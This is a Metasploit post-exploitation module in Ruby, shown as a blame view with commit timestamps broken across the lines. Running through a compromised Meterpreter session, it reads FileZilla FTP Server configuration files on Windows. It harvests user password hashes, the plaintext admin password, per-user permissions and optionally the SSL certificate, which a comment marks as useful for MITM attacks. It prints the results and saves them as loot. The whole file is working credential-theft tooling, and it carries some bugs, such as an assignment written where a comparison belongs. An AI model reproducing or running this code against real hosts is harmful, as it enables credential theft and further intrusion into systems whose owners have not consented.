2011-03-03 13:00:55 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
2011-03-03 18:43:30 +00:00
|
|
|
require 'msf/core/post/file'
|
2011-03-03 13:00:55 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
2011-04-27 16:25:15 +00:00
|
|
|
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
|
2011-03-03 13:00:55 +00:00
|
|
|
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['bannedit'],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => ['windows'],
|
|
|
|
'SessionTypes' => ['meterpreter' ]
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
|
|
|
|
OptBool.new('VERBOSE', [false, 'Be verbose and print all the credentials', true]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if session.type != "meterpreter"
|
|
|
|
print_error "Only meterpreter sessions are supported by this post module"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
|
|
|
case session.platform
|
|
|
|
when /win64/i
|
|
|
|
@progs = drive + '\\Program Files (x86)\\'
|
|
|
|
when /win32/i
|
|
|
|
@progs = drive + '\\Program Files\\'
|
|
|
|
end
|
|
|
|
|
|
|
|
filezilla = check_filezilla
|
2011-05-01 00:32:17 +00:00
|
|
|
if filezilla != nil
|
2011-05-01 00:20:57 +00:00
|
|
|
get_filezilla_creds(filezilla)
|
2011-05-01 00:32:17 +00:00
|
|
|
end
|
2011-03-03 13:00:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check_filezilla
|
|
|
|
paths = []
|
|
|
|
path = @progs + "FileZilla Server\\"
|
2011-05-01 00:20:57 +00:00
|
|
|
|
2011-03-03 13:00:55 +00:00
|
|
|
print_status("Checking for Filezilla Server directory in: #{path}")
|
|
|
|
|
2011-05-01 00:32:17 +00:00
|
|
|
begin
|
|
|
|
session.fs.dir.entries(path)
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error(e.to_s)
|
|
|
|
return
|
|
|
|
end
|
2011-05-01 00:20:57 +00:00
|
|
|
|
2011-03-03 13:00:55 +00:00
|
|
|
session.fs.dir.foreach(path) do |fdir|
|
|
|
|
if fdir =~ /FileZilla\sServer.*\.xml/i
|
|
|
|
paths << path + fdir
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if !paths.empty?
|
|
|
|
print_status("Found FileZilla Server")
|
|
|
|
print_line("")
|
|
|
|
paths << path + 'FileZilla Server.xml'
|
|
|
|
paths << path + 'FileZilla Server Interface.xml'
|
|
|
|
|
|
|
|
return paths
|
|
|
|
end
|
|
|
|
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_filezilla_creds(paths)
|
|
|
|
fs_xml = ""
|
|
|
|
fsi_xml = ""
|
|
|
|
credentials = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "FileZilla FTP Server Credentials",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"Host",
|
|
|
|
"Port",
|
|
|
|
"User",
|
|
|
|
"Password",
|
|
|
|
"SSL"
|
|
|
|
])
|
|
|
|
|
|
|
|
permissions = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "FileZilla FTP Server Permissions",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"Host",
|
2011-03-04 15:38:01 +00:00
|
|
|
"User",
|
2011-03-03 13:00:55 +00:00
|
|
|
"Dir",
|
|
|
|
"FileRead",
|
|
|
|
"FileDelete",
|
|
|
|
"FileAppend",
|
|
|
|
"DirCreate",
|
|
|
|
"DirDelete",
|
|
|
|
"DirList",
|
|
|
|
"DirSubdirs",
|
|
|
|
"Home",
|
|
|
|
"AutoCreate"
|
|
|
|
])
|
|
|
|
|
|
|
|
configuration = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "FileZilla FTP Server Configuration",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"FTP Port",
|
|
|
|
"FTP Bind IP",
|
|
|
|
"Admin Port",
|
|
|
|
"Admin Bind IP",
|
|
|
|
"Admin Password",
|
|
|
|
"SSL",
|
|
|
|
"SSL Certfile",
|
|
|
|
"SSL Key Password"
|
|
|
|
])
|
|
|
|
|
|
|
|
file = session.fs.file.new(paths[1], "rb")
|
|
|
|
until file.eof?
|
|
|
|
fs_xml << file.read
|
|
|
|
end
|
|
|
|
file.close
|
|
|
|
|
|
|
|
creds, perms, config = parse_server(fs_xml) # user credentials password is just an MD5 hash
|
|
|
|
# admin pass is just plain text. Priorities?
|
|
|
|
creds.each do |cred|
|
|
|
|
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
|
|
|
|
|
|
|
|
# report the goods!
|
|
|
|
report_auth_info(
|
2011-04-18 14:31:01 +00:00
|
|
|
:host => session,
|
2011-03-03 13:00:55 +00:00
|
|
|
:port => config['ftp_port'],
|
|
|
|
:sname => 'ftp',
|
|
|
|
:proto => 'tcp',
|
|
|
|
:user => cred['user'],
|
|
|
|
:pass => cred['password'],
|
|
|
|
:ptype => "MD5 hash",
|
|
|
|
:target_host => config['ftp_bindip'],
|
|
|
|
:target_port => config['ftp_port']
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
perms.each do |perm|
|
2011-03-04 15:38:01 +00:00
|
|
|
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'],
|
2011-03-03 13:00:55 +00:00
|
|
|
perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate']]
|
|
|
|
end
|
|
|
|
|
2011-03-04 15:38:01 +00:00
|
|
|
if datastore['VERBOSE']
|
|
|
|
print_status(" Collected the following configuration details:")
|
|
|
|
print_status(" FTP Port: %s" % config['ftp_port'])
|
|
|
|
print_status(" FTP Bind IP: %s" % config['ftp_bindip'])
|
|
|
|
print_status(" SSL: %s" % config['ssl'])
|
|
|
|
print_status(" Admin Port: %s" % config['admin_port'])
|
|
|
|
print_status(" Admin Bind IP: %s" % config['admin_bindip'])
|
|
|
|
print_status(" Admin Pass: %s" % config['admin_pass'])
|
|
|
|
print_line("")
|
|
|
|
end
|
|
|
|
|
2011-03-03 13:00:55 +00:00
|
|
|
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
|
|
|
|
config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
|
|
|
|
|
|
|
|
# report the goods!
|
|
|
|
report_auth_info(
|
2011-04-18 14:31:01 +00:00
|
|
|
:host => session,
|
2011-03-03 13:00:55 +00:00
|
|
|
:port => config['admin_port'],
|
|
|
|
:sname => 'filezilla-server-admin-interface',
|
|
|
|
:proto => 'tcp',
|
|
|
|
:user => 'admin',
|
|
|
|
:pass => config['admin_pass'],
|
|
|
|
:ptype => "password",
|
|
|
|
:target_host => config['admin_bindip'],
|
|
|
|
:target_port => config['admin_port']
|
|
|
|
)
|
|
|
|
|
2011-04-18 14:31:01 +00:00
|
|
|
store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
|
2011-03-03 13:00:55 +00:00
|
|
|
"filezilla_server_credentials.txt", "FileZilla FTP Server Credentials")
|
|
|
|
|
2011-04-18 14:31:01 +00:00
|
|
|
store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv,
|
2011-03-04 16:59:35 +00:00
|
|
|
"filezilla_server_permissions.csv", "FileZilla FTP Server Permissions")
|
2011-03-03 13:00:55 +00:00
|
|
|
|
2011-04-18 14:31:01 +00:00
|
|
|
store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv,
|
2011-03-04 16:59:35 +00:00
|
|
|
"filezilla_server_configuration.csv", "FileZilla FTP Server Configuration")
|
2011-03-03 13:00:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def parse_server(data)
|
|
|
|
creds = []
|
|
|
|
perms = []
|
|
|
|
settings = {}
|
|
|
|
users = 0
|
|
|
|
passwords = 0
|
|
|
|
groups = []
|
2011-03-04 15:38:01 +00:00
|
|
|
perm = {}
|
2011-03-03 13:00:55 +00:00
|
|
|
|
|
|
|
doc = REXML::Document.new(data).root
|
|
|
|
|
|
|
|
items = doc.elements.to_a("//Settings//Item/")
|
2011-03-04 16:59:35 +00:00
|
|
|
settings['ftp_port'] = items[0].text rescue "<none>"
|
|
|
|
settings['admin_port'] = items[16].text rescue "<none>"
|
|
|
|
settings['admin_pass'] = items[17].text rescue "<none>"
|
2011-05-01 00:20:57 +00:00
|
|
|
settings['local_host'] = items[18].text rescue ""
|
|
|
|
settings['bindip'] = items[38].text rescue ""
|
|
|
|
settings['ssl'] = items[42].text rescue ""
|
2011-03-03 13:00:55 +00:00
|
|
|
|
2011-05-01 00:20:57 +00:00
|
|
|
if settings['local_host'] # empty means localhost only * is 0.0.0.0
|
|
|
|
settings['admin_bindip'] = settings['local_host']
|
2011-03-03 13:00:55 +00:00
|
|
|
else
|
|
|
|
settings['admin_bindip'] = "127.0.0.1"
|
|
|
|
end
|
2011-03-04 15:38:01 +00:00
|
|
|
if settings['admin_bindip'] = "*"
|
|
|
|
settings['admin_bindip'] = "0.0.0.0"
|
|
|
|
end
|
|
|
|
|
2011-05-01 00:20:57 +00:00
|
|
|
if settings['bindip']
|
|
|
|
settings['ftp_bindip'] = settings['bindip']
|
2011-03-03 13:00:55 +00:00
|
|
|
else
|
|
|
|
settings['ftp_bindip'] = "127.0.0.1"
|
|
|
|
end
|
|
|
|
|
2011-03-04 15:38:01 +00:00
|
|
|
# make the bindip a little easier to understand
|
|
|
|
if settings['ftp_bindip'] == "*"
|
|
|
|
settings['ftp_bindip'] = "0.0.0.0"
|
|
|
|
end
|
|
|
|
|
2011-05-01 00:20:57 +00:00
|
|
|
if settings['ssl'] == "1"
|
2011-03-04 16:59:35 +00:00
|
|
|
settings['ssl'] = "true"
|
2011-03-03 13:00:55 +00:00
|
|
|
else
|
|
|
|
if datastore['SSLCERT']
|
|
|
|
print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file")
|
|
|
|
end
|
2011-03-04 16:59:35 +00:00
|
|
|
settings['ssl'] = "false"
|
2011-03-03 13:00:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
settings['ssl_certfile'] = items[45].text rescue "<none>"
|
2011-03-04 16:59:35 +00:00
|
|
|
if settings['ssl_certfile'] != "<none>" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks
|
2011-03-03 13:00:55 +00:00
|
|
|
sslfile = session.fs.file.new(settings['ssl_certfile'])
|
|
|
|
until sslfile.eof?
|
|
|
|
sslcert << sslfile.read
|
|
|
|
end
|
2011-04-18 14:31:01 +00:00
|
|
|
store_loot("filezilla.server.ssl.cert", "text/plain", session, sslfile,
|
2011-03-03 13:00:55 +00:00
|
|
|
settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" )
|
|
|
|
print_status("Looted SSL Certificate File")
|
|
|
|
end
|
2011-03-04 16:59:35 +00:00
|
|
|
|
|
|
|
if settings['ssl_certfile'].nil?
|
|
|
|
settings['ssl_certfile'] = "<none>"
|
|
|
|
end
|
2011-03-03 13:00:55 +00:00
|
|
|
|
|
|
|
settings['ssl_keypass'] = items[50].text rescue "<none>"
|
2011-03-04 16:59:35 +00:00
|
|
|
|
|
|
|
if settings['ssl_keypass'].nil?
|
|
|
|
settings['ssl_keypass'] = "<none>"
|
|
|
|
end
|
|
|
|
|
2011-03-03 13:00:55 +00:00
|
|
|
doc.elements['Users'].elements.each('User') do |user|
|
|
|
|
account = {}
|
|
|
|
account['user'] = user.attributes['Name'] rescue "<none>"
|
|
|
|
users += 1
|
|
|
|
opt = user.elements.to_a("//User//Option/")
|
|
|
|
account['password'] = opt[0].text rescue "<none>"
|
|
|
|
account['group'] = opt[1].text rescue "<none>"
|
|
|
|
passwords += 1
|
|
|
|
groups << account['group']
|
|
|
|
|
|
|
|
user.elements.to_a("//User//Permissions//Permission").each do |permission|
|
|
|
|
perm['user'] = account['user'] # give some context as to which user has these permissions
|
|
|
|
perm['dir'] = permission.attributes['Dir']
|
|
|
|
opt = permission.elements.to_a("//User//Permissions//Permission//Option")
|
|
|
|
perm['fileread'] = opt[0].text rescue "<unknown>"
|
|
|
|
perm['filewrite'] = opt[1].text rescue "<unknown>"
|
|
|
|
perm['filedelete'] = opt[2].text rescue "<unknown>"
|
|
|
|
perm['fileappend'] = opt[3].text rescue "<unknown>"
|
|
|
|
perm['dircreate'] = opt[4].text rescue "<unknown>"
|
|
|
|
perm['dirdelete'] = opt[5].text rescue "<unknown>"
|
|
|
|
perm['dirlist'] = opt[6].text rescue "<unknown>"
|
|
|
|
perm['dirsubdirs'] = opt[7].text rescue "<unknown>"
|
2011-03-04 16:59:35 +00:00
|
|
|
perm['autocreate'] = opt[9].text rescue "<unknown>"
|
2011-03-03 13:00:55 +00:00
|
|
|
|
|
|
|
if opt[8].text == "1"
|
2011-03-04 16:59:35 +00:00
|
|
|
perm['home'] = "true"
|
2011-03-03 13:00:55 +00:00
|
|
|
else
|
2011-03-04 16:59:35 +00:00
|
|
|
perm['home'] = "false"
|
2011-03-03 13:00:55 +00:00
|
|
|
end
|
|
|
|
perms << perm
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
user.elements.to_a("//User//IpFilter//Allowed").each do |allowed|
|
|
|
|
end
|
|
|
|
user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed|
|
|
|
|
end
|
|
|
|
|
|
|
|
account['host'] = settings['ftp_bindip']
|
2011-03-04 15:38:01 +00:00
|
|
|
perm['host'] = settings['ftp_bindip']
|
2011-03-03 13:00:55 +00:00
|
|
|
account['port'] = settings['ftp_port']
|
2011-03-04 15:38:01 +00:00
|
|
|
account['ssl'] = settings['ssl']
|
2011-03-03 13:00:55 +00:00
|
|
|
creds << account
|
|
|
|
|
|
|
|
if datastore['VERBOSE']
|
|
|
|
print_status(" Collected the following credentials:")
|
|
|
|
print_status(" Username: %s" % account['user'])
|
|
|
|
print_status(" Password: %s" % account['password'])
|
|
|
|
print_status(" Group: %s" % account['group'])
|
|
|
|
print_line("")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
groups = groups.uniq unless groups.uniq.nil?
|
|
|
|
if !datastore['VERBOSE']
|
|
|
|
print_status(" Collected the following credentials:")
|
|
|
|
print_status(" Usernames: %u" % users)
|
|
|
|
print_status(" Passwords: %u" % passwords)
|
|
|
|
print_status(" Groups: %u" % groups.length)
|
|
|
|
print_line("")
|
|
|
|
end
|
|
|
|
return [creds, perms, settings]
|
|
|
|
end
|
|
|
|
|
|
|
|
def got_root?
|
|
|
|
if session.sys.config.getuid =~ /SYSTEM/
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
return session.fs.file.expand_path("%USERNAME%")
|
|
|
|
end
|
2011-05-01 00:20:57 +00:00
|
|
|
end
|